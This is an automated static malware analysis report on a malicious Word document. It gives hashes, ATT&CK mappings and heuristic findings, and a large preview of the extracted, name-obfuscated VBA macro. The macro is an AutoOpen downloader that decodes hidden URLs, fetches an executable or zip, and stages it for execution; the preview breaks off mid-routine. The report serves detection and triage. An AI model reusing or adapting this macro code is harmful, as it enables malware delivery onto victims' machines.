Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 46565a6680f1109b…

MALICIOUS

Office (OLE) / .DOC

215.0 KB Created: 2023-03-21 21:40:00 Authoring application: Microsoft Office Word First seen: 2023-03-22
MD5: eb955ede0aec078ab68cfa3961d7c51f SHA-1: 2be16fceb95d47fb068f336da92f51a70342be2e SHA-256: 46565a6680f1109b7e2992372ce32198250848f8a76272400a00741072982787
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

This Office document contains a high-confidence VBA macro that utilizes CreateObject and CallByName functions, indicative of malicious intent. The macro is obfuscated and likely designed to download and execute a secondary payload. The presence of an AutoOpen macro further supports its role as an initial execution vector, commonly seen in spearphishing attachments.

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set aCNJmNQ = CreateObject(mTjILiKY)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    AXlGpPnr = CallByName(ActiveDocument, vEOlVvP, 2)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Related samples 7

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39563 bytes
SHA-256: 0b076426a1ddbc4a114c2bf559b3985afe09067d8f7b514dd4e135cedd3a5878
Detection
ClamAV: No threats found
Obfuscation or payload: likely
197 of 269 identifiers look randomly generated (e.g. 'feNuWwPcprSdiekmjXulJRlVvcxgnoSEnMWyNfnD') — consistent with name-mangling obfuscation. Carved artifact contains 7 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub pmDTBCpR(rxERn() As Byte, UpvjXITP As String)
Dim nXip As Object
Set nXip = dmuj()
CwxLixHy nXip
biqcQam nXip
AiVyaT nXip, rxERn
bsxtZC nXip, UpvjXITP
FAS nXip
End Sub
Function YAHmiqdU() As Object
Dim LEY As String
Dim XBUnWst As String
Dim lVSLZ(44) As Long
Dim jLKbhsna As Long
jLKbhsna = 26
XBUnWst = "pDXfUHRg5LHzcLjkwpFIJArfSzkdbzECUzpdUZkcipJqWBjdtUsBgRqPySqLKHkQlYlkoHzSSiAtrXsJ1txdtnotLJotUsEmpUHJeXSFIWQAmeekiRFisnKXnDcc.txaMwmifWHVyQPWexLbcxKUaUZDFgVaHYtMZKtpJNwzJNmyniuisIWLW.CqsqbnfrLfyKdtJevrH.caurpBB"
lVSLZ(0) = 45
lVSLZ(1) = 41
lVSLZ(2) = 86
lVSLZ(3) = 6
lVSLZ(4) = 49
lVSLZ(5) = 49
lVSLZ(6) = 1
lVSLZ(7) = 125
lVSLZ(8) = 45
lVSLZ(9) = 41
lVSLZ(10) = 86
lVSLZ(11) = 6
lVSLZ(12) = 49
lVSLZ(13) = 49
lVSLZ(14) = 1
lVSLZ(15) = 7
lVSLZ(16) = 101
lVSLZ(17) = 44
lVSLZ(18) = 175
lVSLZ(19) = 101
lVSLZ(20) = 51
lVSLZ(21) = 49
lVSLZ(22) = 125
lVSLZ(23) = 9
lVSLZ(24) = 125
lVSLZ(25) = 81
lVSLZ(26) = 53
lVSLZ(27) = 64
lVSLZ(28) = 53
lVSLZ(29) = 49
lVSLZ(30) = 179
lVSLZ(31) = 207
lVSLZ(32) = 173
lVSLZ(33) = 177
lVSLZ(34) = 20
lVSLZ(35) = 203
lVSLZ(36) = 53
lVSLZ(37) = 10
lVSLZ(38) = 52
lVSLZ(39) = 59
lVSLZ(40) = 15
lVSLZ(41) = 52
lVSLZ(42) = 21
lVSLZ(43) = 80
LEY = TmSjau(XBUnWst, lVSLZ, jLKbhsna)
Set YAHmiqdU = aCNJmNQ(LEY)
End Function
Function dyAJ() As String
Dim AXlGpPnr As String
Dim RbL As String
Dim vEOlVvP As String
Dim mZPyV As String
Dim iARS(12) As Long
Dim RRIiiOK As Long
RRIiiOK = 4
mZPyV = "nSHmxaWkKcNtPupghac"
iARS(0) = 13
iARS(1) = 6
iARS(2) = 12
iARS(3) = 17
iARS(4) = 17
iARS(5) = 4
iARS(6) = 11
iARS(7) = 16
iARS(8) = 7
iARS(9) = 19
iARS(10) = 0
iARS(11) = 1
vEOlVvP = TmSjau(mZPyV, iARS, RRIiiOK)
Dim Fkpl As String
Dim tZvDvKfa As String
Dim nKpdBYjY(3) As Long
Dim DQujq As Long
DQujq = 1
tZvDvKfa = "kyKj\M"
nKpdBYjY(0) = 5
nKpdBYjY(1) = 1
nKpdBYjY(2) = 0
Fkpl = TmSjau(tZvDvKfa, nKpdBYjY, DQujq)
AXlGpPnr = CallByName(ActiveDocument, vEOlVvP, 2)
RbL = lMcXTz()
dyAJ = AXlGpPnr & Fkpl & RbL
End Function
Function rsv(ELJZoACB As String, fcjg As String) As Boolean
Dim pznm As Object
Dim ptpRYbV As Object
Dim RYXfPp As Object
Dim pGqSFcDk As Object
Dim RvitWJQ As String
Dim gKg As String
Dim zcmef() As Byte
Dim ibIRNUC As Integer
Dim fioZG As String
Dim vCafp As String
rsv = False
Dim VPrZ As String
Dim YFjfTZ As String
Dim iOinH(1) As Long
Dim RXLJtneS As Long
RXLJtneS = 1
YFjfTZ = "GH?E"
iOinH(0) = 3
VPrZ = TmSjau(YFjfTZ, iOinH, RXLJtneS)
Dim WOdehLEr As String
Dim eEKX As String
Dim NqdQV(6) As Long
Dim QAAbJG As Long
QAAbJG = 3
eEKX = "kSTi=WcvNlEohf&vdmvEGVe"
NqdQV(0) = 15
NqdQV(1) = 7
NqdQV(2) = 5
NqdQV(3) = 2
NqdQV(4) = 18
NqdQV(5) = 8
WOdehLEr = TmSjau(eEKX, NqdQV, QAAbJG)
RvitWJQ = lMcXTz()
gKg = ELJZoACB & VPrZ & RvitWJQ & WOdehLEr & System.CountryRegion
On Error GoTo vbushqtC
Set pznm = YAHmiqdU()
YEPfy pznm, gKg
Lwhk pznm
If tFKJ(pznm) Then
zcmef = JyRbNw(pznm)
ibIRNUC = pkiktc(zcmef)
If ibIRNUC = 1 Then
pmDTBCpR zcmef, fcjg
rsv = True
End If
If ibIRNUC = 2 Then
Set RYXfPp = iKCaO()
fioZG = dyAJ()
cbF RYXfPp, fioZG
Dim impYAsL As String
Dim KUwp As String
Dim HUJI(6) As Long
Dim AkmPfSF As Long
AkmPfSF = 4
KUwp = "WnWXOzMTWkaipTsR.LIxMjc"
HUJI(0) = 17
HUJI(1) = 6
HUJI(2) = 12
HUJI(3) = 13
HUJI(4) = 10
HUJI(5) = 8
impYAsL = TmSjau(KUwp, HUJI, AkmPfSF)
vCafp = fioZG & impYAsL
pmDTBCpR zcmef, vCafp
Set pGqSFcDk = lIRQWMm()
Set nIZRDt = GdBaR(pGqSFcDk, fioZG)
Set MNqlTzy = GdBaR(pGqSFcDk, vCafp)
Dim hCrHFG As String
Dim JsWfmzKA As String
Dim SldM(24) As Long
Dim rFNBRFcg As Long
rFNBRFcg = 8
JsWfmzKA = "ZVUDnLyrnKnakPMiMUNKXMDFHmqugNPXbgIYizdfSbpyeeovVuLfqTCV"
SldM(0) = 55
SldM(1) = 47
SldM(2) = 43
SldM(3) = 7
SldM(4) = 25
SldM(5) = 45
SldM(6) = 8
SldM(7) = 45
SldM(8) = 49
SldM(9) = 42
SldM(10) = 31
SldM(11) = 24
SldM(12) = 46
SldM(13) = 31
SldM(14) = 5
SldM(15) = 10
SldM(16) = 14
SldM(17) = 8
SldM(18) = 27
SldM(19) = 37
SldM(20) = 42
SldM(21) = 1
SldM(22) = 20
SldM(23) = 30
hCrHFG = TmSjau(JsWfmzKA, SldM, rFNBRFcg)
CallByName nIZRDt, hCrHFG, 1, MNqlTzy.Items, 4
Dim kwluQz As String
Dim cdnJqdQl As String
Dim qjvWLq(11) As Long
Dim kQNaL As Long
kQNaL = 8
cdnJqdQl = "MoHyevndYiNuXbcBMOeHvFkVmMPwQHHCMxbZZLciViEvplXYlmR"
qjvWLq(0) = 1
qjvWLq(1) = 2
qjvWLq(2) = 6
qjvWLq(3) = 5
qjvWLq(4) = 22
qjvWLq(5) = 10
qjvWLq(6) = 46
qjvWLq(7) = 5
qjvWLq(8) = 1
qjvWLq(9) = 1
qjvWLq(10) = 44
kwluQz = TmSjau(cdnJqdQl, qjvWLq, kQNaL)
For Each kuODbsf In nIZRDt.Items
CallByName RYXfPp, kwluQz, 1, kuODbsf.Path, fcjg
Next
HJcQWsl RYXfPp, fioZG
vVSc RYXfPp, vCafp
rsv = True
End If
End If
Exit Function
vbushqtC:
rsv = False
End Function
Function lIRQWMm() As Object
Dim pvXok As String
Dim qrxv As String
Dim IQymw(44) As Long
Dim orTkQS As Long
orTkQS = 17
qrxv = "uhZBJzTILoQZbKpqAXARFCbtUlzMRMDXPpdhGibiJErOaptIUcYnZFSGcQTsNIqEUEWLEzcUDcWhYlwlEQqJAGclolQXmAYBWateaKdeO.CnHaumEi"
IQymw(0) = 55
IQymw(1) = 2
IQymw(2) = 100
IQymw(3) = 26
IQymw(4) = 26
IQymw(5) = 106
IQymw(6) = 17
IQymw(7) = 15
IQymw(8) = 15
IQymw(9) = 26
IQymw(10) = 38
IQymw(11) = 50
IQymw(12) = 45
IQymw(13) = 24
IQymw(14) = 38
IQymw(15) = 10
IQymw(16) = 52
IQymw(17) = 57
IQymw(18) = 92
IQymw(19) = 49
IQymw(20) = 18
IQymw(21) = 72
IQymw(22) = 21
IQymw(23) = 62
IQymw(24) = 83
IQymw(25) = 28
IQymw(26) = 40
IQymw(27) = 14
IQymw(28) = 68
IQymw(29) = 100
IQymw(30) = 10
IQymw(31) = 36
IQymw(32) = 59
IQymw(33) = 42
IQymw(34) = 113
IQymw(35) = 45
IQymw(36) = 71
IQymw(37) = 57
IQymw(38) = 70
IQymw(39) = 107
IQymw(40) = 103
IQymw(41) = 57
IQymw(42) = 100
IQymw(43) = 98
pvXok = TmSjau(qrxv, IQymw, orTkQS)
Set lIRQWMm = aCNJmNQ(pvXok)
End Function
Sub efsJ(EIbqMWJm As String)
Dim ORtBIm As Object
Dim IbmPt As String
Dim SDd As String
Dim SsprBf As String
Dim zyTsU As String
Dim rfK(21) As Long
Dim ixrMmPm As Long
ixrMmPm = 12
zyTsU = "RrIwXmQTgSBhlSp.wCFnXDJcxSevkWhuRKe2G3gCIAvqVSiwxeVkrqsoF"
rfK(0) = 2
rfK(1) = 27
rfK(2) = 9
rfK(3) = 55
rfK(4) = 28
rfK(5) = 2
rfK(6) = 38
rfK(7) = 36
rfK(8) = 16
rfK(9) = 27
rfK(10) = 25
rfK(11) = 27
rfK(12) = 20
rfK(13) = 47
rfK(14) = 12
rfK(15) = 28
rfK(16) = 40
rfK(17) = 33
rfK(18) = 40
rfK(19) = 43
rfK(20) = 31
SsprBf = TmSjau(zyTsU, rfK, ixrMmPm)
Dim Xtlgrw As String
Dim ERLmrPBM As String
Dim RXrW(3) As Long
Dim joRik As Long
joRik = 3
ERLmrPBM = "/ sMvrOJRyGtCDajm"
RXrW(0) = 1
RXrW(1) = 3
RXrW(2) = 2
Xtlgrw = TmSjau(ERLmrPBM, RXrW, joRik)
Dim kmbVV As String
Dim duHo As String
Dim NCkLe(2) As Long
Dim lhYkKL As Long
lhYkKL = 2
duHo = "\HsVwAt\"
NCkLe(0) = 1
NCkLe(1) = 1
kmbVV = TmSjau(duHo, NCkLe, lhYkKL)
SDd = """"
Set ORtBIm = lIRQWMm()
IbmPt = ORtBIm.Namespace(&H25).Self.Path
IbmPt = IbmPt & kmbVV
IbmPt = IbmPt & SsprBf
Xtlgrw = Xtlgrw & SDd
Xtlgrw = Xtlgrw & EIbqMWJm
Xtlgrw = Xtlgrw & SDd
uMJoVo ORtBIm, IbmPt, Xtlgrw
End Sub
Sub biqcQam(KtvulRo As Object)
Dim tstZ As String
Dim LyZqL As String
Dim hJwm(11) As Long
Dim UTNRt As Long
UTNRt = 4
LyZqL = "pabglSyEKGGmGcIJteTaNeHHqVis"
hJwm(0) = 19
hJwm(1) = 7
hJwm(2) = 1
hJwm(3) = 18
hJwm(4) = 1
hJwm(5) = 14
hJwm(6) = 9
hJwm(7) = 2
hJwm(8) = 15
hJwm(9) = 7
hJwm(10) = 21
tstZ = TmSjau(LyZqL, hJwm, UTNRt)
CallByName KtvulRo, tstZ, 4, 1
End Sub
Sub FAS(FPXLPj As Object)
Dim viZFyaw As String
Dim aGbJqvDE As String
Dim nSheH(13) As Long
Dim xTwU As Long
xTwU = 5
aGbJqvDE = "lBpbnCoiRVAweXHExsb"
nSheH(0) = 6
nSheH(1) = 1
nSheH(2) = 7
nSheH(3) = 18
nSheH(4) = 13
nSheH(5) = 2
nSheH(6) = 1
nSheH(7) = 1
nSheH(8) = 6
nSheH(9) = 19
nSheH(10) = 1
nSheH(11) = 10
nSheH(12) = 8
viZFyaw = TmSjau(aGbJqvDE, nSheH, xTwU)
CallByName FPXLPj, viZFyaw, 1
End Sub
Sub CwxLixHy(PHhKws As Object)
Dim QlftBB As String
Dim RFePqHbU As String
Dim FMl(4) As Long
Dim mwaERH As Long
mwaERH = 4
RFePqHbU = "EJJnJqnpYNhnoOsEpmjFOhDqoXVLXJehyiD"
FMl(0) = 14
FMl(1) = 8
FMl(2) = 31
FMl(3) = 4
QlftBB = TmSjau(RFePqHbU, FMl, mwaERH)
CallByName PHhKws, QlftBB, 1
End Sub
Function tFKJ(pdjdFTST As Object) As Boolean
Dim awtmln As Long
Dim TKRUTn As String
Dim NnTEPKjC As String
Dim jZs(15) As Long
Dim genJVwc As Long
genJVwc = 6
NnTEPKjC = "XSamJQmSVVhujEuXHIMmAfkoejdnUIsWhytsDftt"
jZs(0) = 2
jZs(1) = 35
jZs(2) = 3
jZs(3) = 35
jZs(4) = 12
jZs(5) = 31
jZs(6) = 34
jZs(7) = 13
jZs(8) = 27
jZs(9) = 20
jZs(10) = 12
jZs(11) = 22
jZs(12) = 25
jZs(13) = 37
jZs(14) = 35
TKRUTn = TmSjau(NnTEPKjC, jZs, genJVwc)
awtmln = CallByName(pdjdFTST, TKRUTn, 2)
If awtmln = 200 Then
tFKJ = True
End If
End Function
Function pkiktc(ibt() As Byte) As Integer
pkiktc = 0
If UBound(ibt) > 1 Then
If ibt(0) = 77 And ibt(1) = 90 Then
pkiktc = 1
End If
If ibt(0) = 80 And ibt(1) = 75 Then
pkiktc = 2
End If
End If
End Function
Sub AutoOpen()
Dim VzeP As String
Dim guMdqsVi As String
Dim QtHFZh As String
Dim vweTbC(69) As Long
Dim cpK As Long
cpK = 40
QtHFZh = "FDrbbIRegm/sSiKWfIIEocnYgdIYKqetmhtaKIfIGWeifsFKdiDpjp:zqZNoLaIkjLJUfnDCeTDZJosQRobdrrR/RAKLTwmC/nnHmovBtUrNVQKtm.AagtLdcwjcPdPNb/kjzMeZICtsJaFJKebOlhHGmCqdtLcWoVFCfp/iitSBCrkplacTXkRQjHRFSIXOzYfYXyuakjy8XgFvkkeexTwz"
vweTbC(0) = 34
vweTbC(1) = 32
vweTbC(2) = 32
vweTbC(3) = 52
vweTbC(4) = 55
vweTbC(5) = 11
vweTbC(6) = 11
vweTbC(7) = 22
vweTbC(8) = 21
vweTbC(9) = 23
vweTbC(10) = 17
vweTbC(11) = 8
vweTbC(12) = 26
vweTbC(13) = 8
vweTbC(14) = 3
vweTbC(15) = 36
vweTbC(16) = 32
vweTbC(17) = 14
vweTbC(18) = 21
vweTbC(19) = 23
vweTbC(20) = 22
vweTbC(21) = 14
vweTbC(22) = 30
vweTbC(23) = 114
vweTbC(24) = 17
vweTbC(25) = 3
vweTbC(26) = 11
vweTbC(27) = 14
vweTbC(28) = 10
vweTbC(29) = 36
vweTbC(30) = 9
vweTbC(31) = 8
vweTbC(32) = 12
vweTbC(33) = 11
vweTbC(34) = 204
vweTbC(35) = 7
vweTbC(36) = 6
vweTbC(37) = 1
vweTbC(38) = 3
vweTbC(39) = 11
vweTbC(40) = 173
vweTbC(41) = 137
vweTbC(42) = 152
vweTbC(43) = 68
vweTbC(44) = 55
vweTbC(45) = 124
vweTbC(46) = 181
vweTbC(47) = 92
vweTbC(48) = 42
vweTbC(49) = 29
vweTbC(50) = 116
vweTbC(51) = 10
vweTbC(52) = 191
vweTbC(53) = 8
vweTbC(54) = 106
vweTbC(55) = 191
vweTbC(56) = 215
vweTbC(57) = 22
vweTbC(58) = 10
vweTbC(59) = 181
vweTbC(60) = 178
vweTbC(61) = 91
vweTbC(62) = 153
vweTbC(63) = 95
vweTbC(64) = 93
vweTbC(65) = 135
vweTbC(66) = 97
vweTbC(67) = 177
vweTbC(68) = 30
guMdqsVi = TmSjau(QtHFZh, vweTbC, cpK)
Dim wGYFQWn As String
Dim txvGVs As String
Dim OBKaGiw(101) As Long
Dim iIxi As Long
iIxi = 47
txvGVs = "qxqgZ/WeqCMkPaQsmkoFDyQfMtSDUxbSiYNTGUdqHIQdpeccLaltNbWvXdOa:jNSoRkALpbpUNAHTZPiLBzLJXo5BZhkVnRfGTdQBPgaGutdAbgjQRfUHFxKzaKGQB-Ivd/XSv/s/icRfQpWHPthETtOSXvxYscFdWjq5HDCLl.ZolSnuRihhMzoHyKQDWEeeBluZppvJGbxbpFKJCzYhHLWOVQbDoUitrcN/ArYjGYndqwPLTGnotNVPagMIOSEjrrwHNxAImUxCBsAerActsnaMkaAcEwbJsPSpVxvvYPNqIh"
OBKaGiw(0) = 91
OBKaGiw(1) = 26
OBKaGiw(2) = 26
OBKaGiw(3) = 45
OBKaGiw(4) = 61
OBKaGiw(5) = 6
OBKaGiw(6) = 6
OBKaGiw(7) = 91
OBKaGiw(8) = 19
OBKaGiw(9) = 47
OBKaGiw(10) = 56
OBKaGiw(11) = 33
OBKaGiw(12) = 8
OBKaGiw(13) = 94
OBKaGiw(14) = 47
OBKaGiw(15) = 91
OBKaGiw(16) = 106
OBKaGiw(17) = 22
OBKaGiw(18) = 8
OBKaGiw(19) = 94
OBKaGiw(20) = 4
OBKaGiw(21) = 33
OBKaGiw(22) = 14
OBKaGiw(23) = 171
OBKaGiw(24) = 56
OBKaGiw(25) = 94
OBKaGiw(26) = 6
OBKaGiw(27) = 239
OBKaGiw(28) = 45
OBKaGiw(29) = 127
OBKaGiw(30) = 14
OBKaGiw(31) = 39
OBKaGiw(32) = 17
OBKaGiw(33) = 33
OBKaGiw(34) = 94
OBKaGiw(35) = 6
OBKaGiw(36) = 88
OBKaGiw(37) = 36
OBKaGiw(38) = 88
OBKaGiw(39) = 85
OBKaGiw(40) = 31
OBKaGiw(41) = 7
OBKaGiw(42) = 14
OBKaGiw(43) = 106
OBKaGiw(44) = 51
OBKaGiw(45) = 59
OBKaGiw(46) = 6
OBKaGiw(47) = 63
OBKaGiw(48) = 88
OBKaGiw(49) = 240
OBKaGiw(50) = 20
OBKaGiw(51) = 48
OBKaGiw(52) = 11
OBKaGiw(53) = 43
OBKaGiw(54) = 174
OBKaGiw(55) = 9
OBKaGiw(56) = 154
OBKaGiw(57) = 139
OBKaGiw(58) = 295
OBKaGiw(59) = 128
OBKaGiw(60) = 178
OBKaGiw(61) = 195
OBKaGiw(62) = 189
OBKaGiw(63) = 87
OBKaGiw(64) = 224
OBKaGiw(65) = 72
OBKaGiw(66) = 247
OBKaGiw(67) = 241
OBKaGiw(68) = 119
OBKaGiw(69) = 295
OBKaGiw(70) = 219
OBKaGiw(71) = 245
OBKaGiw(72) = 197
OBKaGiw(73) = 292
OBKaGiw(74) = 281
OBKaGiw(75) = 170
OBKaGiw(76) = 275
OBKaGiw(77) = 254
OBKaGiw(78) = 158
OBKaGiw(79) = 266
OBKaGiw(80) = 261
OBKaGiw(81) = 113
OBKaGiw(82) = 38
OBKaGiw(83) = 71
OBKaGiw(84) = 112
OBKaGiw(85) = 262
OBKaGiw(86) = 118
OBKaGiw(87) = 251
OBKaGiw(88) = 200
OBKaGiw(89) = 166
OBKaGiw(90) = 160
OBKaGiw(91) = 12
OBKaGiw(92) = 259
OBKaGiw(93) = 218
OBKaGiw(94) = 73
OBKaGiw(95) = 228
OBKaGiw(96) = 225
OBKaGiw(97) = 289
OBKaGiw(98) = 34
OBKaGiw(99) = 93
OBKaGiw(100) = 93
wGYFQWn = TmSjau(txvGVs, OBKaGiw, iIxi)
Dim jAVJRjjo As String
Dim wepGssR As String
Dim Uerr(102) As Long
Dim LmJx As Long
LmJx = 39
wepGssR = "jvckribcGlKouUpHmieCUtReehoVmK/TRBYcQ/WfdsphtrIiJXiqxx1gQ.urYYeGctTnLkmmrTSAOPMjdJvqgg/turFkf/XEvgT:BCWWtkAafA/yrhXkiHoaGmEwzDh"
Uerr(0) = 26
Uerr(1) = 22
Uerr(2) = 22
Uerr(3) = 15
Uerr(4) = 100
Uerr(5) = 31
Uerr(6) = 31
Uerr(7) = 22
Uerr(8) = 19
Uerr(9) = 3
Uerr(10) = 26
Uerr(11) = 68
Uerr(12) = 6
Uerr(13) = 56
Uerr(14) = 13
Uerr(15) = 6
Uerr(16) = 22
Uerr(17) = 108
Uerr(18) = 5
Uerr(19) = 19
Uerr(20) = 58
Uerr(21) = 3
Uerr(22) = 12
Uerr(23) = 17
Uerr(24) = 31
Uerr(25) = 40
Uerr(26) = 12
Uerr(27) = 5
Uerr(28) = 13
Uerr(29) = 17
Uerr(30) = 31
Uerr(31) = 2
Uerr(32) = 1
Uerr(33) = 76
Uerr(34) = 4
Uerr(35) = 55
Uerr(36) = 20
Uerr(37) = 50
Uerr(38) = 31
Uerr(39) = 39
Uerr(40) = 61
Uerr(41) = 25
Uerr(42) = 53
Uerr(43) = 91
Uerr(44) = 103
Uerr(45) = 53
Uerr(46) = 17
Uerr(47) = 38
Uerr(48) = 100
Uerr(49) = 64
Uerr(50) = 118
Uerr(51) = 51
Uerr(52) = 122
Uerr(53) = 76
Uerr(54) = 47
Uerr(55) = 40
Uerr(56) = 14
Uerr(57) = 40
Uerr(58) = 5
Uerr(59) = 16
Uerr(60) = 93
Uerr(61) = 126
Uerr(62) = 35
Uerr(63) = 29
Uerr(64) = 37
Uerr(65) = 26
Uerr(66) = 4
Uerr(67) = 75
Uerr(68) = 113
Uerr(69) = 41
Uerr(70) = 106
Uerr(71) = 96
Uerr(72) = 89
Uerr(73) = 79
Uerr(74) = 1
Uerr(75) = 109
Uerr(76) = 52
Uerr(77) = 7
Uerr(78) = 61
Uerr(79) = 19
Uerr(80) = 49
Uerr(81) = 31
Uerr(82) = 84
Uerr(83) = 41
Uerr(84) = 79
Uerr(85) = 66
Uerr(86) = 123
Uerr(87) = 66
Uerr(88) = 120
Uerr(89) = 36
Uerr(90) = 26
Uerr(91) = 67
Uerr(92) = 59
Uerr(93) = 20
Uerr(94) = 26
Uerr(95) = 90
Uerr(96) = 35
Uerr(97) = 3
Uerr(98) = 53
Uerr(99) = 51
Uerr(100) = 114
Uerr(101) = 19
jAVJRjjo = TmSjau(wepGssR, Uerr, LmJx)
Dim GdUf As String
Dim NSVx As String
Dim XAs(61) As Long
Dim GiUIFw As Long
GiUIFw = 43
NSVx = "JkfNtRGR:fQiXzznIusonnquepogXGXJviMloPaOTKrptlRhlsjbvstK/2ojprtx/r/ANX/PhjWUOqdXnLhywBW/tYGJIRrskCtqgrAwDbjXbml.HNmUpthiPexhmwIi.qCyTAnhSxyyuVSmFLczZggRrZaUKpJ5okDYCqSdfUrLq"
XAs(0) = 48
XAs(1) = 5
XAs(2) = 5
XAs(3) = 26
XAs(4) = 9
XAs(5) = 57
XAs(6) = 57
XAs(7) = 3
XAs(8) = 20
XAs(9) = 64
XAs(10) = 160
XAs(11) = 112
XAs(12) = 5
XAs(13) = 12
XAs(14) = 110
XAs(15) = 12
XAs(16) = 39
XAs(17) = 19
XAs(18) = 5
XAs(19) = 2
XAs(20) = 20
XAs(21) = 112
XAs(22) = 26
XAs(23) = 36
XAs(24) = 57
XAs(25) = 85
XAs(26) = 20
XAs(27) = 43
XAs(28) = 79
XAs(29) = 26
XAs(30) = 43
XAs(31) = 25
XAs(32) = 19
XAs(33) = 19
XAs(34) = 57
XAs(35) = 58
XAs(36) = 14
XAs(37) = 43
XAs(38) = 82
XAs(39) = 14
XAs(40) = 68
XAs(41) = 142
XAs(42) = 57
XAs(43) = 109
XAs(44) = 38
XAs(45) = 20
XAs(46) = 57
XAs(47) = 74
XAs(48) = 153
XAs(49) = 85
XAs(50) = 65
XAs(51) = 69
XAs(52) = 10
XAs(53) = 158
XAs(54) = 157
XAs(55) = 129
XAs(56) = 161
XAs(57) = 26
XAs(58) = 154
XAs(59) = 71
XAs(60) = 163
GdUf = TmSjau(NSVx, XAs, GiUIFw)
Dim NvWye As String
Dim dtIofIxb As String
Dim JgklitT(99) As Long
Dim YDz As Long
YDz = 37
dtIofIxb = "eEDdFovekFKESRJtrrakrCHliV.CrhsaFOBACnPjnlya/DmQTDEwbggKbZKUacEarueTEP:GIVMG/NScNwTgSKgqDejQOtWuprfopmGQvWDA/FVeqSKQEmLlDoLGnUiQnaOfgwXmmgjrGffMnhQTKGcHbzBiggyIWvtfEnpoM.EDmhadMhOsqre/kggOgkGMgiOmqfMu/yDwSuhnIiyXyqHuYRRDipihxnItKXQlivazIy"
JgklitT(0) = 30
JgklitT(1) = 16
JgklitT(2) = 16
JgklitT(3) = 97
JgklitT(4) = 71
JgklitT(5) = 45
JgklitT(6) = 45
JgklitT(7) = 4
JgklitT(8) = 19
JgklitT(9) = 17
JgklitT(10) = 53
JgklitT(11) = 19
JgklitT(12) = 154
JgklitT(13) = 25
JgklitT(14) = 27
JgklitT(15) = 6
JgklitT(16) = 17
JgklitT(17) = 54
JgklitT(18) = 27
JgklitT(19) = 54
JgklitT(20) = 1
JgklitT(21) = 45
JgklitT(22) = 24
JgklitT(23) = 19
JgklitT(24) = 38
JgklitT(25) = 54
JgklitT(26) = 66
JgklitT(27) = 19
JgklitT(28) = 54
JgklitT(29) = 1
JgklitT(30) = 45
JgklitT(31) = 25
JgklitT(32) = 43
JgklitT(33) = 48
JgklitT(34) = 75
JgklitT(35) = 30
JgklitT(36) = 45
JgklitT(37) = 219
JgklitT(38) = 46
JgklitT(39) = 224
JgklitT(40) = 188
JgklitT(41) = 216
JgklitT(42) = 135
JgklitT(43) = 124
JgklitT(44) = 147
JgklitT(45) = 75
JgklitT(46) = 168
JgklitT(47) = 168
JgklitT(48) = 53
JgklitT(49) = 165
JgklitT(50) = 0
JgklitT(51) = 207
JgklitT(52) = 160
JgklitT(53) = 33
JgklitT(54) = 26
JgklitT(55) = 217
JgklitT(56) = 47
JgklitT(57) = 210
JgklitT(58) = 24
JgklitT(59) = 165
JgklitT(60) = 43
JgklitT(61) = 127
JgklitT(62) = 149
JgklitT(63) = 52
JgklitT(64) = 230
JgklitT(65) = 145
JgklitT(66) = 98
JgklitT(67) = 196
JgklitT(68) = 75
JgklitT(69) = 105
JgklitT(70) = 183
JgklitT(71) = 173
JgklitT(72) = 223
JgklitT(73) = 18
JgklitT(74) = 50
JgklitT(75) = 62
JgklitT(76) = 191
JgklitT(77) = 35
JgklitT(78) = 155
JgklitT(79) = 191
JgklitT(80) = 49
JgklitT(81) = 159
JgklitT(82) = 173
JgklitT(83) = 17
JgklitT(84) = 106
JgklitT(85) = 71
JgklitT(86) = 128
JgklitT(87) = 188
JgklitT(88) = 149
JgklitT(89) = 3
JgklitT(90) = 4
JgklitT(91) = 151
JgklitT(92) = 137
JgklitT(93) = 144
JgklitT(94) = 49
JgklitT(95) = 87
JgklitT(96) = 130
JgklitT(97) = 129
JgklitT(98) = 205
NvWye = TmSjau(dtIofIxb, JgklitT, YDz)
Dim kQS As String
Dim UTLGgh As String
Dim TYB(98) As Long
Dim XbmN As Long
XbmN = 37
